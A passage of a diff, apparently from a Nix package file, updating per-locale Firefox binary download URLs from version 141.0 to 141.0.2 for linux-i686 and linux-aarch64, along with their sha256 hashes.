-      sha256 = "65396ce695c8b71ff1ef0cc09b461a17b8724c05a8938d5ac11032f4f4974bb5";
+      sha256 = "46e1e405f10115f6897644697d66e72aaed2a4d41d8f3130b82e4eba445e9a69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/trs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/trs/firefox-141.0.2.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "a30ee9bfd5e5cfb3b29d4140fe12d8a920d2baf3d449409a15e32beac3fe378c";
+      sha256 = "7f1920ad1fb09367585fc4ef5c3f26d2b814e3e93d18209ee37eea95207df498";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/uk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/uk/firefox-141.0.2.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "45f53bd8e2b3c03211ec56c6ccf24d415fb1aa8f68809db9438a6138491eb748";
+      sha256 = "beaeed836be6c7e12b9e3d95cd06428d590ae8bec31bbbe21e474814c864ad4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ur/firefox-141.0.2.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "43f14388598c3b48436f4d705606387b1bf1df547ba933b26f0787ee026139c6";
+      sha256 = "1c3541914483636be5e2055c35dfbe2c3f87c6123d123c6f60c8b97024d5d848";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/uz/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/uz/firefox-141.0.2.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "0fdc2dfb461538bafba3fccabaabc2230010bc95dd134c8a2a463053f1b96de1";
+      sha256 = "1d6c6b4a155df8c5eb8f2fdbb85117f013096cb9cad3df0daa96cf0498074adb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/vi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/vi/firefox-141.0.2.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "eb87d5242ce8cf0bd02e514c653cabd90be2b4d53ee02a8db9306fbf1972cc0f";
+      sha256 = "0ecb776845a9c110a580e214c328483b30e530ccf2df124b0ddaff7586ec46ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/xh/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/xh/firefox-141.0.2.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "c8b117266ba61ae9731854a437769d53bdbb1081bcab25cf3e2bcd9ac4a98f4d";
+      sha256 = "a244b054178802015e3695c411547eee2a6e8c9bb35c29ff533f9e230a028cae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/zh-CN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/zh-CN/firefox-141.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "420b8386d740c7bb77a0ca1cdeab0d0e6b58601664d085759cc96837949f4a61";
+      sha256 = "547330a565ea659e8012e0356a0b52c54e1dbfd399b38309ceb78fc9b13b480b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/zh-TW/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/zh-TW/firefox-141.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "94c3bb09d5ee8fcbc09aa03b8204de23926f4c16aab3f4552c464a9c9b194418";
+      sha256 = "7df682aa758d35cb99f19e6e5585c91e50f811039419a00de88f14ca315d3c5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ach/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ach/firefox-141.0.2.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "7a6bbb01b346c6cd60e9674e85590752d918b961190cb3a9ba075d5a71d1ab9c";
+      sha256 = "d34eac78298a59714c3a6b708e705a3b773d8cf50c29664e05676838a2c9fd4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/af/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/af/firefox-141.0.2.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "c3a9eee6c157c60a95c44c7f2f39bb60480f8f2c8d1801c66db8e16d8c0c2927";
+      sha256 = "d6725b21490876838f4c0dc70bb2c1b3c2043f5a38b6d0b542b1bc45fa590644";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/an/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/an/firefox-141.0.2.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "d6c2a84edd6fde2f95a1d6bf9e2033fefdf54c693312b36430a1b9314c963ce5";
+      sha256 = "0d842d007ef4792d667f29a26b0a4bade0db0df56b410d2e9e441793a97036b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ar/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ar/firefox-141.0.2.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "8788255c91d0234e5bd0a040a56b4c47a424dd14b636dc871ab4897a9c10d6a4";
+      sha256 = "2dc80d64180f0f6aced6e7e14aafa6f93f18b19712aca863ab3a604d0cf2bcc0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ast/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ast/firefox-141.0.2.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "876451d2a8cf20e00358d0d083ec96dfee3beb84783897b3f13ee3a8e5f95222";
+      sha256 = "d439bab15e86302d81ca64e90f26c0129ad49f2151e8de4fdd4fff1f2dca1e39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/az/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/az/firefox-141.0.2.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "e90fadc22db540694fbde1a657c977f1112f4977bcc4a77808714e3bf889ec26";
+      sha256 = "1cfaf6976857f133b8cb567bc9ff80274ca5d2e28a185c9b52c859ee13056c17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/be/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/be/firefox-141.0.2.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "f3021d43d6717bf02dda359e2b0bbaa78322b738b73098d1a67810941c362c64";
+      sha256 = "c5763fd3971af0f0871e9d625a35b32dc7df8919120e2c60c0954d2c3659b05d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bg/firefox-141.0.2.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "0ab418148f0efa63d95074c32daf7ea576a63e8e1fe2e24bbf9d0250c0048987";
+      sha256 = "7a5edc617d886b95d3d6b51169489efeeca2d62d0fc1fa382c54654386b7b57c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bn/firefox-141.0.2.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "b9821d01e9b876b2c5cb513df4116df68df9fdcb3dad6ebba0faaef05d34df09";
+      sha256 = "1650de6bd164d2154174f2378354caaec861e5959082740a9f2efd6fa58b9357";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/br/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/br/firefox-141.0.2.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "fe6fca4b69edb9411634a4730683b62f2339ea2d1d42e445fca503caf221d5c7";
+      sha256 = "57e10c673b2544eea26ee86a868cf76e9d5462bb9d1b800ee76e718a645089f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bs/firefox-141.0.2.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "24da2ccd8b228097604eb07062d0cf157a08d287d203d6a357c8fe677f7f5f73";
+      sha256 = "64bbfdc66c61e8e0c492ae7fa75a8eda4db730f46d2db687acb47958bae7de9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ca-valencia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ca-valencia/firefox-141.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "5c95e4bd1af51356d3540520daffc0eee7757402d4de41c719c0a91026178657";
+      sha256 = "dedbbeb3ca64e90a2df30d581d29be16e2263f7c2a12ef2b0973dfe5b6b086d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ca/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ca/firefox-141.0.2.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "b7a64d102b944a62d642d04d935cd3b0e84e2bdcc0d44ca1bb85133c793dac3b";
+      sha256 = "146f2989ca1deeda8a57a695b386311f4d28440a6459ab0a04db79768899d040";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cak/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cak/firefox-141.0.2.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "10516973d54f4096590818b0866cb5456b5aa6f83acb91f468554b0cbf6ddb55";
+      sha256 = "997c27ffe13c914bfaeaa1581e824cc1eea0a3a2e385594633186236522d04ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cs/firefox-141.0.2.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "f2dbb0f36bc09085718641946ecb1b5c43bfb0b9a9a0f40b2b8c16c26a922bfd";
+      sha256 = "9ff2d7546f1a6df43432ccf71b22b63626dbfb1e58a83c9c1b2e2ba4ae55e877";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cy/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cy/firefox-141.0.2.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "f6b55e30337a59727483175797e353ff338c2494667660dd5ab8d81c0b7504d7";
+      sha256 = "555a30b33aabb9e75165f9a1cfec56464cf4923720b4726c803f1aa801d75bcc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/da/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/da/firefox-141.0.2.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "996f07782149a6b29adfb4ba3dfdb7216c1d7b998aa9d417db4813e668297383";
+      sha256 = "e8cc6330cc113ddb616e206df4f94a83c0de307dae0545481272dcb6d2d4f3b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/de/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/de/firefox-141.0.2.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "1989cc6498fbf5d967beb033ab3327286963843ed9ef7c0e27b2a8a7d1a80d55";
+      sha256 = "c466bb7884760b0ad06acf2c0133370e06acdf5f0f264559064a9073b3504484";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/dsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/dsb/firefox-141.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "d2f72f233cd0c7fdd93194d4c3c288b64afdc3de8cb18ceaa26ceda338954b97";
+      sha256 = "f57161573dccb5cd97cde8045627cfdea9fa6302cf5adcc7004b734c96cf29fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/el/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/el/firefox-141.0.2.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "3e5e375a63c717b3d7e28824d46a15e23417e783a6ab3bcf725ede324105ac13";
+      sha256 = "37276a3a3f47ad7b9e89a0e99fb58bb3bd23de68f7206e9b642e400da317ffd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-CA/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-CA/firefox-141.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "fb208ba07b5f7a0ba068452b20cfdbf737db5d58bdbedde4ed1618a361beb83b";
+      sha256 = "63065f21f7aa66d90ab61eaba82ae1248cd3243b64636795034edbfa91be5ebe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-GB/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-GB/firefox-141.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "68bf68a0710b90fb637fc59f5c522b9c9a9c19636c76ccb44e9c9c5a2e3a7d4d";
+      sha256 = "8d544c690218db2cc58aaf7bccf5f45af7f644682ae14bda49fc07bce0b64884";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-US/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-US/firefox-141.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "969ed24ac8ac6c85e5f935802d8768b69f7c49ce100ac1d36d1978f17debf42b";
+      sha256 = "e88445bf5361456ef58564305716502b36d9a084f0c4168e0bab72db06053ee8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/eo/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/eo/firefox-141.0.2.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "dcbbf28d4a05dd4b02352f5b4e626bdc2dd1da15c6379e4cc949c3677c4b0813";
+      sha256 = "c6fcaecc1fd68ecfada6da7b85c8c988aa352d438cc781162034fbf8d081c582";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-AR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-AR/firefox-141.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "5288f642e749bcffad30492b86bf47f363cda982fef8f8b903b4c8b1214bbc74";
+      sha256 = "6f5c1c88c751a7df845dd8ece08e340e19ae330371e9c43537f390793456cd60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-CL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-CL/firefox-141.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "630f95e0a6e7f2744e3b849d961b7a000f0d43afb77bceed99f381cf52dbfb7b";
+      sha256 = "f31a2991a9ce288b560541e3ae7cfa369db50f9e43da30f0a2f2c06eea0b0125";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-ES/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-ES/firefox-141.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "54e7ce5176e6ce1b9414df26e0c9479d8e0bd42775dfc8dd42152c15cde3c706";
+      sha256 = "d171011091bb5761095b4e132203558ee200801dfa52fec5fa102f41f95901a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-MX/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-MX/firefox-141.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "ed07f411f134bc96e2f0f368d9ec0a523075f453448d91604c1e067969e4b69c";
+      sha256 = "f7623a174b6b17b6676276b0c7220aa6cf58b79cc43daaf65f1170a10007c9d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/et/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/et/firefox-141.0.2.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "1166fb557f2e13f78a81ee6df2fbcff0bebd627f300761cbec19b83575ef5f2c";
+      sha256 = "a011add6dc2a2b1fc9eaf46669989684dd3603a3ccd119cc232993c93156ac97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/eu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/eu/firefox-141.0.2.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "9ea87da2a9d3e03d351f99c41c4cf3e50f6c556b78d38ebf87adcca3bdbcb080";
+      sha256 = "8033f7a4eb48017a258cacc46293b7694ce7f042f9afde54ac7a85cee25e191a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fa/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fa/firefox-141.0.2.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "1e3dc3aa244441fef3fd0134f5099aaba92dbed1c3773c75433299ce82c1a071";
+      sha256 = "ba98957b4b1912bf7363138d89e1058533cf59a3f737c5c1665853b9b5497ac7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ff/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ff/firefox-141.0.2.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "595e9f92b83d39031b3df09de7fc80d6058ef70e7afed640437a370124a3bff9";
+      sha256 = "0ad0f128f0e6843bd31ce07329a13e319d1b70228b838516e929f80782bc3c05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fi/firefox-141.0.2.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "91cbe9b2657f322ab712c86c418dd6c921d5dad356be47d8f668e78518ce87c0";
+      sha256 = "93a8a7908e6f3c1806abfa3c68f6cbc258e0f393c6c42d3392d6633b0892a6ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fr/firefox-141.0.2.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "fc29a0ce928e15572ee15be76f167dc0cb9a8be41912700c90e3afd7295e264a";
+      sha256 = "f8bb7dbfb4bcc34f9349db30bebb4f317d2e119b3f5e1821b8146ed8375f6e08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fur/firefox-141.0.2.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "fd29448a293003398f1d9a6615b7cf17bfb7989d585335f66cf0f900f5e52511";
+      sha256 = "65da8ac80cd4bd90ebfb9964eb53c8ca97b22165b9c35e1754969015cf417c25";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fy-NL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fy-NL/firefox-141.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "ce98a17fa7ce0c3c0858154faffc94c1d9b5e8933c4c85360a3299aad1d5516e";
+      sha256 = "def76201dd6ad9cec1a28ddd4bfbd3cddfd77c1e82483613d139190832ac892c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ga-IE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ga-IE/firefox-141.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "f783d514e30d966212848e75421542edde43a91a108b5156719b570333d45c6a";
+      sha256 = "1f3c290e030e1b7f3290de66f4a5d82a38c528652760737de78887e84d644df5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gd/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gd/firefox-141.0.2.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "23424cde2fec3e4f4ee7056d4ae9411e3504ae6790038f8937781d5506f05f8c";
+      sha256 = "3867934f00fe3e05cd4138dfe74d74e2ba4cb9e08fafe4ff2a7b0a7e9ba9d976";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gl/firefox-141.0.2.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "e0b6304083036a44632e57820569861bfb0bc45a2517325f47787ba586ac2a2e";
+      sha256 = "0cd262019c7056b0afe9b31d3dd1abbc8e7b8eacfb0630a61cef5a1364cf6ba3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gn/firefox-141.0.2.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "60ef090b64b53111d27307cd6ddfc3b7e7d28d77dd0fd4ff9e2c392828194117";
+      sha256 = "3a2e768a2a57bda19c481917dd7d96f6009ee38fc033e923472be5e6ca168a57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gu-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gu-IN/firefox-141.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "9d5c5c5ec51bf0055c05652ee5754322bc7c3ca6727344fa42e8defdbc58caa5";
+      sha256 = "9e1f38d13f85511e749b12a624d95cdaf0fa989240a5a7fd8c6f12816561dd88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/he/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/he/firefox-141.0.2.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "777574acff8dfc12dce742fe8e1947c43201cadb96a6cd85619268f70c1589e5";
+      sha256 = "41848fb4a74cfc6ad7328e25c3bcd9d73c02adf118c03125abb7ae4332359cd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hi-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hi-IN/firefox-141.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "273d2c477e798bf96f14b7720c223c2f9f61f40d356182e2d4b5146843bc0376";
+      sha256 = "7bd1d06644436cadaf7f82dda56289d375dc05880787f1730968f2b212141726";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hr/firefox-141.0.2.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "05ae7b41c1913f9e2b64a38768d9a988a3f35efe67e01c970b6233070d0c041c";
+      sha256 = "9bae71dae762ef16120c107a4345b2cfad159466877784d46d4fa7257018ff9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hsb/firefox-141.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "67b28c680a579044dc1b1487001f51478f9012b9754d7d5b6791deb9072ea842";
+      sha256 = "5444a48d6eab152b10b67bfe11dac5eefc2634a599252cf5fec7592772e73c1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hu/firefox-141.0.2.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "de6f76e788bbd5049794629763e460e061a335bc3dbcd5329bd344015108167e";
+      sha256 = "a4821e4bf0d8fec98b08ab69e611b3d7d813d224bc5b558f45287ab19aa3e4f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hy-AM/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hy-AM/firefox-141.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "709cdd09f4fa19a98b36738c32c1ecad082487cf8c9abf5d8945a77c26a1de5c";
+      sha256 = "822092e1d2348bd19e696ac0b43633198ebc7428e2112572d18b13673303d8e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ia/firefox-141.0.2.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "e1b74859a9da3940206bcfc44504f708e59473b7bd668ea88c8a690c84965892";
+      sha256 = "82c9f4fd01d379662bbca2d051aaabc3f951c7be6ca235787468975b2fa18f63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/id/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/id/firefox-141.0.2.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "12a4a59dd5225243de14aa58ec2a278b23e9a2eabe6102778657e1876f261a8a";
+      sha256 = "264aab274c84a0f74fd1e2534f8aeb4cc59119ee936dfc276a615c3a14ec8054";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/is/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/is/firefox-141.0.2.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "f9b74c20b2ba276cbfc7d0bb8d687b119f430116dd5917d342e1f0515df3e2a7";
+      sha256 = "d2043abc4e5b788f2147a4563ed28488a3452c15a1c79ed3eeb40cea69642457";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/it/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/it/firefox-141.0.2.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "444282751c33332ae45ffcc7fc9f5bf1bba0ea42f834b704c66a76f298843457";
+      sha256 = "35c7aa30dbd77787194faad2871592139d3229052707c86f83fb7e69378f7aa3";
     }
     {
